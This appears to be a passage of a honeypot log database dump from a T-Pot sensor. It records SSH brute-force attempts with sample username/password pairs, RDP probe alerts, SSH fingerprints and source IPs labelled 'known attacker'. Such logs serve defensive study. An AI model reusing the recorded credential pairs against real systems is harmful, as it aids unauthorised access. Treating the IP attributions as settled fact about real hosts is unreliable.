\N	\N	\N	CN
34694	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:03:25.043017+03	2021-09-20 15:15:02.238486+03	{"_id": "YAYWA3wBvYTbRNuE6Fev", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 96.78.175.36:39824 (192.168.176.2:22) [session: b7be2ac46900]", "session": "b7be2ac46900", "@version": "1", "protocol": "ssh", "src_port": 39824, "dest_port": 22, "timestamp": "2021-09-20T12:03:25.043017Z", "@timestamp": "2021-09-20T12:03:25.043Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	US
34695	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:03:24.819149+03	2021-09-20 15:15:02.240487+03	{"_id": "ZgYWA3wBvYTbRNuE6VfN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:03:24.014304+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 399972999378912, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 52804, "dest_port": 3389, "timestamp": "2021-09-20T12:03:24.819149Z", "@timestamp": "2021-09-20T12:03:24.819Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
34696	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:03:24.819149+03	2021-09-20 15:15:02.241487+03	{"_id": "ZAYWA3wBvYTbRNuE6VfN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:03:24.014304+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 399972999378912, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 52804, "dest_port": 3389, "timestamp": "2021-09-20T12:03:24.819149Z", "@timestamp": "2021-09-20T12:03:24.819Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
34697	96.78.175.36	109.199.241.180	Fatt	2021-09-20 15:03:25.230318+03	2021-09-20 15:15:02.243485+03	{"_id": "aAYWA3wBvYTbRNuE6lfY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "96.78.175.36", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 39824, "dest_port": 22, "timestamp": "2021-09-20T12:03:25.230318", "@timestamp": "2021-09-20T12:03:25.230Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	US
34698	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:03:26.083972+03	2021-09-20 15:15:02.245499+03	{"_id": "agYWA3wBvYTbRNuE7FeZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.login.failed", "message": "login attempt [tanaka/tanaka] failed", "session": "b7be2ac46900", "@version": "1", "password": "tanaka", "username": "tanaka", "timestamp": "2021-09-20T12:03:26.083972Z", "@timestamp": "2021-09-20T12:03:26.083Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	US
34699	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:03:27.271611+03	2021-09-20 15:15:02.246498+03	{"_id": "bAYWA3wBvYTbRNuE8FeB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "b7be2ac46900", "@version": "1", "duration": 2.2267978191375732, "timestamp": "2021-09-20T12:03:27.271611Z", "@timestamp": "2021-09-20T12:03:27.271Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	US
34700	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:03:29.621462+03	2021-09-20 15:15:02.247497+03	{"_id": "hgYWA3wBvYTbRNuE-lfe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "159.253.30.249", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33458, "timestamp": "2021-09-20T12:03:29.621462", "@timestamp": "2021-09-20T12:03:29.621Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34701	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:03:29.677867+03	2021-09-20 15:15:02.249498+03	{"_id": "igYWA3wBvYTbRNuE_Fc7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "2e465e006744", "@version": "1", "timestamp": "2021-09-20T12:03:29.677867Z", "@timestamp": "2021-09-20T12:03:29.677Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	SE
34702	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:03:30.153436+03	2021-09-20 15:15:02.250498+03	{"_id": "iwYWA3wBvYTbRNuE_Fc7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.login.failed", "message": "login attempt [testftp/testftp1] failed", "session": "2e465e006744", "@version": "1", "password": "testftp1", "username": "testftp", "timestamp": "2021-09-20T12:03:30.153436Z", "@timestamp": "2021-09-20T12:03:30.153Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	SE
34703	159.253.30.249	109.199.241.180	Suricata	2021-09-20 15:03:29.675245+03	2021-09-20 15:15:02.251498+03	{"_id": "jAYWA3wBvYTbRNuE_VdZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.253.30.249", "dest_ip": "192.168.20.116", "flow_id": 415080547168008, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 33458, "dest_port": 22, "timestamp": "2021-09-20T12:03:29.675245Z", "@timestamp": "2021-09-20T12:03:29.675Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	SE
34704	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:03:24.343113+03	2021-09-20 15:15:02.253498+03	{"_id": "VwYWA3wBvYTbRNuE5Vfk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:03:24.014304+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 399972999378912, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 52804, "dest_port": 3389, "timestamp": "2021-09-20T12:03:24.343113Z", "@timestamp": "2021-09-20T12:03:24.343Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
34705	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:03:24.343113+03	2021-09-20 15:15:02.254498+03	{"_id": "WAYWA3wBvYTbRNuE5Vfk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:03:24.014304+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 399972999378912, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 52804, "dest_port": 3389, "timestamp": "2021-09-20T12:03:24.343113Z", "@timestamp": "2021-09-20T12:03:24.343Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
34706	159.253.30.249	109.199.241.180	Fatt	2021-09-20 15:03:29.677252+03	2021-09-20 15:15:02.256504+03	{"_id": "ewYWA3wBvYTbRNuE-lfe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "159.253.30.249", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 33458, "dest_port": 22, "timestamp": "2021-09-20T12:03:29.677252", "@timestamp": "2021-09-20T12:03:29.677Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	SE
34707	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 15:03:29.619199+03	2021-09-20 15:15:02.2595+03	{"_id": "iAYWA3wBvYTbRNuE_Fc7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "2e465e006744", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:03:29.619199Z", "@timestamp": "2021-09-20T12:03:29.619Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	SE
34708	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 15:03:19.352233+03	2021-09-20 15:15:02.2605+03	{"_id": "TwYWA3wBvYTbRNuE0Vc9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.login.failed", "message": "login attempt [juni/juni] failed", "session": "7c7ea25b0bf0", "@version": "1", "password": "juni", "username": "juni", "timestamp": "2021-09-20T12:03:19.352233Z", "@timestamp": "2021-09-20T12:03:19.352Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	US
34709	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 15:03:20.823433+03	2021-09-20 15:15:02.262499+03	{"_id": "UQYWA3wBvYTbRNuE2VcO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "7c7ea25b0bf0", "@version": "1", "duration": 4.887892246246338, "timestamp": "2021-09-20T12:03:20.823433Z", "@timestamp": "2021-09-20T12:03:20.823Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	US
34984	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 15:05:46.655601+03	2021-09-20 15:15:02.640739+03	{"_id": "aQYZA3wBvYTbRNuEE1mm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "899710ec76ef", "@version": "1", "duration": 1.3225281238555908, "timestamp": "2021-09-20T12:05:46.655601Z", "@timestamp": "2021-09-20T12:05:46.655Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": 